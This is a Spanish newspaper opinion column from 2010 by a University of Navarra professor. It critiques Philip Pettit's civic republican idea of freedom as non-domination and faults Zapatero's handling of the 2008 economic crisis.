• Noticias maquetadas 21.10.2010

    El aprendiz de brujo
    Order Para el autor, la prolongada pasividad de Zapatero en materia económica le convierte en un mal alumno de Philip Pettit Cheap
    Rebate el concepto de ‘libertad’ del profesor de Princetown, referente y guía intelectual del presidente español

    EL MAESTROPhilip Pettit, guía político y gurú intelectual de nuestro presidente del Gobierno, acaba de publicar un libro, sólo en parte inédito, sobre la aplicación práctica de su teoría del republicanismo cívico en la España de Zapatero. Con el fin de pisar suelo firme in loco alieno, el filósofo irlandés ha requerido la colaboración del joven y brillante profesor catalán José Luis Martí, quien figura como coautor de la obra.

    Síntesis intelectual del republicanismo teórico contemporáneo, el núcleo de la doctrina de Pettit, expuesta ya en su ensayo Republicanism. A Theory of Freedom and Government (1997), consiste en la concepción de la libertad como ausencia de dominación o dependencia, opuesta, por tanto, a la existencia de cualquier poder arbitrario, público o privado, que pueda obstaculizar o interceptar la actuación de los ciudadanos. Aun partiendo, como el liberalismo, de este sentido negativo de libertad (ausencia de dueño), genuinamente romano y desarrollado por el humanismo cívico y las revoluciones americana y francesa, esta teoría se diferencia del liberalismo por cuanto Pettit considera que la libertad se protege principalmente luchando contra la arbitrariedad y no sólo evitando las posibles interferencias y controles del Estado. De esta manera, el profesor de Princeton desafía al liberalismo en su propio terreno de juego, desde la libertad, y no desde la igualdad, como venía haciendo el socialismo clásico.

    Para el republicanismo cívico de Pettit, lo definitivo no es la interferencia misma, sino la capacidad fáctica de poder ejercer arbitrariamente la interferencia. En este sentido, la ausencia de dominación es preventiva, ya que su finalidad es eliminar todas las condiciones de vulnerabilidad convirtiendo a los ciudadanos en libres y autónomos.

    Pettit otorga una importancia al Estado muy superior al liberalismo. Según él, la acción coactiva del Estado, no sólo no menoscaba, sino que salvaguarda la libertad ciudadana, siempre que cumpla con la condición de no arbitrariedad. Para ello, es imprescindible que se entregue el control del gobierno (kratos) al pueblo (demos), quien ha de organizarse democráticamente conforme al patrón de una constitución mixta, tan apreciada por el republicanismo. Con el fin de evitar que el Estado monopolice la toma de decisiones, el republicanismo cívico de Pettit reclama una ciudadanía activa, así como un puesto de honor para los diferentes movimientos sociales (feminismo, ambientalismo, multiculturalismo, pacifismo, etcétera).

    La doctrina de Pettit también se diferencia del colectivismo, comunitarismo y populismo por cuanto no es la participación política la máxima expresión de la supremalibertas, sino, como digo, la ausencia de cualquier dependencia arbitraria. Así, Pettit ha tratado de abrir un novum iter entre el liberalismo y el comunitarismo, que ha sido empleado por el socialismo español para refrescar su anquilosado programa y revitalizar sus enmohecidas ideas en un momento de sequía intelectual.

    Aunque atractiva y sugerente, la doctrina de Pettit plantea una objeción importante. Si bien la idea de libertad como ausencia de dominación constituye un acertado punto de partida, no agota la libertad en sí misma. La mujer y el hombre sólo encuentran la auténtica libertad en la plena y voluntaria aceptación del bien, sea particular o común. Por eso, sin una norma objetiva de moralidad, ajena a la condición humana, aunque de acuerdo con ella, toda decisión sobre lo que sea arbitrario y, por ende, dominativo, será, ella misma, arbitraria. De esta manera, tan rechazable es la dominación arbitraria ajena como el autodominio del que se considera dueño y señor absoluto de sí mismo, con derecho a elaborar sus propias normas éticas y de comportamiento social al margen de cualquier norma objetiva de moralidad.

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    La libertad no tiene su origen absoluto ni en sí misma ni en su propia existencia, sino que, por tratarse de una libertad donada, tiende a un fin, la adhesión al bien, lo que de suyo genera, aunque no la imponga, una dependencia de él, que no es propiamente dominativa. Por eso, la consecución del bien hace a los seres humanos y a las comunidades cada vez más libres. No entendida así, la libertad se corrompe y autoaniquila: si cada miembro de una comunidad política decidiera suicidarse libremente, es decir, sin ejercer sobre él poder arbitrario alguno que lo coaccione, la sociedad se autodestruiría, y con ella la libertad.

    Pettit deja claro, desde el primer momento, que no es amigo personal ni asesor de Zapatero. Como filósofo, desea mantener su independencia respecto del presidente español, con el fin de preservar su personal auctoritas. Pretende ser augur, no arúspice, pero no siempre lo consigue. En esta relación político-intelectual, parecen haberse unido el hambre y las ganas de comer. Zapatero tenía hambruna de ideas y necesitaba, como el agua, regenerar el socialismo de su partido, en un tiempo en que José María Aznar, con su visión del centro reformista, le arañaba votos despiadadamente, y Tony Blair se le adelantaba con su tercera vía.

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    Pero no olvidemos tampoco las ganas de comer de todo intelectual. Y Philip Pettit no es excepción. Para un filósofo político, no hay cosa más reconfortante que ver aplicadas sus propias teorías en un marco concreto, máxime si se trata de un país que, como España, se encontraba entonces con un crecimiento económico envidiable y una vitalidad social arrolladora. Pettit, por tanto, vio a Zapatero con los mismos ojos con que una diseñadora de alta costura contempla a la modelo que porta sus vestidos. El catedrático de Princeton deseaba, más que nadie, difundir sus ideas encarnadas, vividas, hechas realidad, contantes y sonantes, como las monedas, pues esa era la mejor forma de darlas a conocer y promocionarlas entre otros presidentes socialistas europeos. Zapatero le ofrecía la oportunidad, y Pettit, como tantos otros, fue seducido por Siracusa.

    Prueba del interés de Pettit fue que él personalmente hizo ciertos guiños innecesarios al presidente Zapatero, valorando muy favorablemente algunas políticas que poco tenían que ver con el republicanismo cívico, salvo que se piense que esta doctrina es similar a una varita mágica que resuelve todas las cuestiones de una agenda política compleja y rebosante: el paro, la inmigración, la cuestión catalana, el terrorismo de ETA, etcétera.

    Así, entre Zapatero y Pettit se constituyó, quizá sin pretenderlo, un matrimonio de conveniencia, que, coincidiendo con las visitas de Pettit a España (2004 y 2007), provocó un animado debate intelectual, de gran calidad y elegancia, y con bastante repercusión mediática. El excesivo acercamiento al proyecto de Zapatero, su manifiesta connivencia, disimulo y tolerancia con las actuaciones políticas de su aprendiz de brujo han causado un daño quizá irreparable a Philip Pettit, cuyas doctrinas, demasiado pegadas al terreno, han perdido frescura y fascinación utópica.

    POR DESGRACIA, el tiro ha salido por la culata. En el momento español presente, las ideas de Pettit, repetidas por Zapatero, con más o menos fundamento, suenan huecas, falaces, acrónicas y discordantes. José Luis Rodríguez Zapatero, se quiera o no, está marcado por la crisis de 2008, como González lo estuvo por los GAL y Aznar los estará, durante años, por la guerra de Irak. Sólo el transcurso de un largo período de tiempo, a modo de longi temporis praescriptio, eliminará este tipo de lacras enquistadas, de sambenitos populares, de ponzoñas letales, que aniquilan las bondades de cualquier acción política por acertada que ésta sea. González logró malcumplir su penitencia; no así Aznar, y menos todavía nuestro actual presidente, a quien la crisis le está cobrando una factura tan real como merecida.

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    Zapatero, sin duda, junto a sus gravísimos errores, algunos de libro, ha tenido aciertos inteligentes. Pettit aplaude, entre otros, su política autonómica, su política antiterrorista, su política internacional y su política social. Pero no es este el momento de colgar medallas al presidente, por más que provengan de un académico de Princeton. La posición calamitosa que ocupa España en el panorama económico global es la que es, y Zapatero debe asumir la responsabilidad que le corresponde como presidente del Gobierno, que no es poca. Su negligente y prolongada pasividad constituye un modo de dominación política, de supresión de libertad. Y eso es así porque su indecisión política, su non facere, ha generado un alto grado de dependencia, del todo arbitraria, en la ciudadanía española. La gestión de la crisis económica por parte de Zapatero merece un tirón de orejas de su maestro Pettit. Tal vez, incluso, un buen cachete progresista.

     

     

    Rafael Domingo Oslé es catedrático en la Universidad de Navarra y presidente de Maiestas.

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